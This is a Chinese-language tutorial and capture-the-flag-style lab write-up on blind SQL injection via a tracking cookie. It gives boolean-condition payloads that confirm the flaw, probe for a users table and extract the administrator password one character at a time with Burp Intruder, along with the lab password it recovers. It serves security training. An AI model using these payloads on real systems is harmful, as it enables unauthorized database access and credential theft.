目录导航
许多 SQL 注入实例都是盲漏洞。这意味着应用程序不会在其响应中返回 SQL 查询的结果或任何数据库错误的详细信息。仍然可以利用盲漏洞来访问未经授权的数据,但所涉及的技术通常更复杂且难以执行。
根据漏洞的性质和所涉及的数据库,可以使用以下技术来利用盲 SQL 注入漏洞:
- 您可以更改查询的逻辑,以根据单个条件的真实性触发应用程序响应中可检测的差异。这可能涉及将新条件注入某些布尔逻辑,或有条件地触发错误,例如被零除。
- 您可以有条件地触发查询处理的时间延迟,从而允许您根据应用程序响应所需的时间来推断条件的真实性。
- 您可以使用OAST技术 触发带外网络交互。这种技术非常强大,可以在其他技术不具备的情况下工作。通常,您可以通过带外通道直接泄露数据,例如将数据放入您控制的域的 DNS 查找中。
什么是盲 SQL 注入?
当应用程序容易受到 SQL 注入攻击,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会出现 SQL 盲注。
UNION
对于盲 SQL 注入漏洞,攻击 等许多技术都无效,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。仍然可以利用盲 SQL 注入来访问未经授权的数据,但必须使用不同的技术。
通过触发条件响应来利用盲 SQL 注入
考虑一个使用跟踪 cookie 来收集有关使用情况的分析的应用程序。对应用程序的请求包括这样的 cookie 标头:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
当处理包含TrackingId
cookie 的请求时,应用程序会使用如下 SQL 查询来确定这是否是已知用户:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查询易受 SQL 注入攻击,但查询的结果不会返回给用户。但是,根据查询是否返回任何数据,应用程序的行为会有所不同。如果它返回数据(因为TrackingId
已提交识别),则页面内会显示“欢迎回来”消息。
这种行为足以利用 SQL 盲注漏洞并通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。要了解其工作原理,假设TrackingId
依次发送了两个包含以下 cookie 值的请求:
…xyz' AND '1'='1
…xyz' AND '1'='2
这些值中的第一个将导致查询返回结果,因为注入的AND '1'='1
条件为真,因此将显示“欢迎回来”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此不会显示“欢迎回来”消息。这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据。
例如,假设有一个名为Users
的列和Username
,Password
的表,以及一个名为 Administrator
的用户。我们可以通过发送一系列输入来系统地确定该用户的密码,以一次一个字符地测试密码。
为此,我们从以下输入开始:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
这将返回“欢迎回来”消息,表示注入条件为真,因此密码的第一个字符大于m
.
接下来,我们发送以下输入:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
这不会返回“欢迎回来”消息,表示注入条件为假,因此密码的第一个字符不大于t
。
最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是s
:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
我们可以继续这个过程来系统地确定Administrator
用户的完整密码。
注意:
该SUBSTRING
函数SUBSTR
在某些类型的数据库上调用。有关更多详细信息,请参阅SQL 注入备忘单.
带有条件响应的盲SQL 注入
靶场地址:
sql-injection/blind/lab-conditional-responses
靶场说明
本实验包含一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
不返回 SQL 查询的结果,也不显示错误消息。但如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。
该数据库包含一个名为 users
的不同表,其中的列名为username
和password
。您需要利用SQL 盲注漏洞找出administrator
用户的密码。
要解决实验室问题,请以administrator
用户身份登录。
①检测cookie参数是否存在sql盲注漏洞:
(1)观察+分析
网站根据我们的cookie值来判断我们是否访问过此网站,
第一次访问网站时是这样的页面:

当我们随便点一个页面再返回首页,可以看到多了一个Welcome back!的字眼:

初步判断:网站将我们的cookie值代入数据库进行查询,一旦检测到存在这个cookie就返回Welcome back!(欢迎回来!).
背后的数据库查询应该类似如下所示:
select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV'
如果查询显示TrackingId存在,则返回–Welcome back!的消息.
如果查询显示TrackingId不存在,则不显示Welcome back!的消息.
我们在最后面加一个'
测试:

不显示Welcome back!的消息,说明可能存在sql注入漏洞,且属于盲注!
(2)验证猜想是否正确
我们接下来要构造sql语句来验证:
select tracking-id from tracking-tab where TrackingId='9sP1nDwFuNxWIYYV' and 1=1--'
如果猜想正确,则显示Welcome back!的消息.
payload:
' and 1=1--

因为1=1始终为真,所以返回结果应该包含Welcome back!
payload:
' and 1=0--
因为1=0为假,所以返回结果应该不显示Welcome back!

结果证明猜想正确,cookie参数存在sql盲注漏洞.
②检测是否存在名为users的表名:
在此sql盲注中.我们唯一能用来判断猜想是否正确的的点只有Welcome back!显示与否!
我们要构造如下所示语句进行测试:
select tracking-id from track-tab where TrackingId='9sP1nDwFuNxWIYYV' and (select 'x' from users LIMIT 1)='x'--'
如果猜想正确,则显示Welcome back!的消息,说明存在名为users的表名.
payload:
' and (select 'x' from users LIMIT 1)='x'--

可以看到Welcome back!,说明存在名为users的表名.
③检测users表中是否存在名为administrator的列名:
我们要构造如下所示语句进行测试:
select tracking-id from tracking-table where TrackingID='9sP1nDwFuNxWIYYV' and (select username from users where username='administrator')='administrator'--'
如果猜想正确,则显示Welcome back!的消息,说明名为users的表中存在名为administrator的列名.
paylaod:
' and (select username from users where username='administrator')='administrator'--

可以看到Welcome back!,说明users表中存在列administrator.
④检测administrator的密码长度:
我们应该构造如下语句:
select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--'
如果返回Welcome back!的消息,说明密码长度大于1

payload:
' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--
我们将密码长度由1改成2,3,4,5,…..,N. 直不返回Welcome back!的消息,说明N就是密码长度.
下面的payload密码长度改成大于2,依然返回Welcome back!的消息,说明密码大于2
payload:
' and (select username from users where username='administrator' and LENGTH(password)>2)='administrator'--
现在我们就需要对N(数字1)进行爆破.
在burp suite中将数据包发送到Intruder进行爆破:

这里选择数字,从1到50,一次一位:

等全部数据跑完,看不一样的length长度以及返回的数据包中是否包含Welcome back!的消息来判断密码长度

密码长度为20时,返回数据中没有Welcome back!,说明密码长度没有大于20

密码长度大于19,且密码长度不大于20,且为整数的情况下:说明密码长度为20字符串.
⑤两个变量同时进行,逐一将密码跑出来
此时要构造的语句如下:
select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV' and (select substring(password,1,1) from users where username='administrator')='a'--'
简单翻译过来就是:从users表中选择名为administrator的列,且administrator的子字符串password的第一位=a
payload:
' and (select substring(password,1,1) from users where username='administrator')='a'--
如果第一位确实等于a,那么返回的数据包中会存在Welcome back!的消息,说明密码第一位是a;
而我们已经判断出来密码总的只有20位,如果密码只是由小写字母+数字的形式构成,每一位只需要猜测36次即可,猜测20位只需要720次.
现在我们用不着一个一个字符去测试,因为我们有burpsuite!
因为有两个变量,每一个要跑的密码字典不一样,所以我们选择Cluster bomb

第一个变量我们选择数字1到20,一次1个.

第二个变量是密码的每一位,我们选择brute forcer,长度为1

注意:这是理想情况下,实际中可能还有大小写和特殊符号,不过也都不是问题.
接下来等全部进程跑完,查看不一样的长度值:


接下来我们把存在Welcome back!返回数据的包筛选出来:

将payload1 正序排列
CTRL+A全部复制,然后粘贴到vscode或者excel中方便提取:

使用ait+shift将一列数据复制,再使用正则表达式将换行符去掉,最终密码就得到了:
fhmujtlobdjg97h8wvtj

⑥使用administrator和fhmujtlobdjg97h8wvtj登录即可完成实验.

转载请注明出处及链接